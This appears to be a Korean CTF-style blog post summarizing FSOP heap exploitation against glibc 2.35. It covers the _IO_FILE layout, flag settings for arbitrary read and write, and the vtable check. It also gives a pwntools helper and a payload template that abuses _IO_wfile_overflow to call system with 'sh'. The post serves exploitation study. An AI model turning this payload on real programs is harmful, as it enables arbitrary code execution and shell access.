haehet

FSOP 정리 본문

Pwnable

FSOP 정리

haehet 2025. 11. 8. 11:37

이번 글에서는 FSOP에 대해 정리해 보도록 하겠다. 관련 기법이나 코드 등은 glibc 2.35  기준으로 하였다.

 

1. _IO_FILE

_IO_FILE은 리눅스 시스템의 표준 라이브러리에서 파일 스트림을 나타내기 위한 구조체이다. 선언은 다음과 같다.

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

각 flag의 의미는 다음과 같다.

#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

 

2. AAW, AAR

2-1. AAW

아래와 같이 파일 구조체가 참조되기 때문에 _IO_buf_base, _IO_buf_end를 바꿔주면 된다. 근데 사실 이 기법은 별로 쓸일이 없는데 파일 구조체가 조작 가능한 상황이면 사실 aaw는 이미 얻은 경우가 대부분이기 때문이다.

read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);

 

2-2. AAR

aar은 aaw보다 까다롭다. 일단 인자 세팅은 다음과 같다.

write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);

 

 

내부 호출 과정에서 write가 우리가 원하는 대로 작동하려면 flag 설정을 좀 해주어야한다. 조건은 다음과 같다.

 1._IO_CURRENTLY_PUTTING(0x0800)을 켜주어야 한다.  

 2. _IO_write_base != NULL이어야 한다.

 3. _IO_IS_APPENDING(0x1000)을 켜줘야 한다.

결과적으로 flag를 0xfbad18000으로 설정하면 된다.

 

3. exploit

파일 구조체가 함수를 호출하는 vtable을 조작하면 우리가 원하는 함수를 실행 할 수 있다. 하지만 여기에도 보안기법이 존재하는데

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

vtable의 주소가 섹션의 크기를 넘어가면 감지를 한다. 따라서 우리가 원하는 함수를 실행하기 위해서는 vtable 내부에 있는 함수를 이용해야한다. glibc 2.35 버전부터는 예전에 애용하던 _IO_str_overflow를 사용할 수 없다. 따라서 다른 방법을 사용한다. 

wjump를 이용하는 함수들과 wide data를 조작 하면 우리가 원하는 함수가 실행 가능하다. 보통 vtable 조작으로 불러오는 코드는 _IO_wfile_overflow, 아니면 _IO_wfile_underflow이다. 여기서는 _IO_wfile_overflow를 사용하는 예제를 보여주겠다.

 

def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
    
    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00"*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
    
    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

다음은 내가 주로 FSOP를 할 때 가져오는 코드이다. dreamhack 풀이에서 복붙해왔는데 세밀한 조절이 힘들긴 하지만  좋은 것 같다.

FSOP = FSOP_struct(
    flags=u64(b"\x01\x01\x01\x01;sh\x00"),
    lock= fake_chunk+ 0x3000,
    _wide_data= fake_chunk-0x10,
    _markers= libc_base + libc.symbols['system'], 
    _unused2= p32(0) + p64(0) +  p64(fake_chunk - 0x8),  
    vtable= libc_base + libc.symbols['_IO_wfile_jumps'] - offset,
    _mode=0xFFFFFFFF
)

_IO_wfile_overflow를 호출하는 예제이다. 여기서 wide data나 offset, lock 등을 file structure를 호출하는 함수에 맞게 적절히 수정해 주면 된다.

 

 

 

이번 글에서는 FSOP에 대해 정리해보았다. FSOP는 한번에 대량의 aaw을 할 수 있을 때 (ex: tcache dup) 매우 좋은 것 같다.  할때마다 offset, flag 등을 점검해야 하는게 귀찮긴하지만 exit handler overwrite, stack leak -> rop랑 다르게 한번의 입력으로도 exploit trigger가 가능해서 매우 좋다. 또한 FSOP로 leak, exploit이 모두 가능하기 때문에 그 활용도 또한 무궁무진한 듯 하다.

 

'Pwnable' 카테고리의 다른 글

MIPS Architecture Exploitation  (0) 2026.05.01
tcache_perthread_struct overwriting  (0) 2026.01.26
heap exploit 정리  (0) 2025.11.05
side channel attack(with assembly)  (0) 2025.10.02
프로그램 시작, 종료 과정 및 관련 취약점 분석  (0) 2025.08.23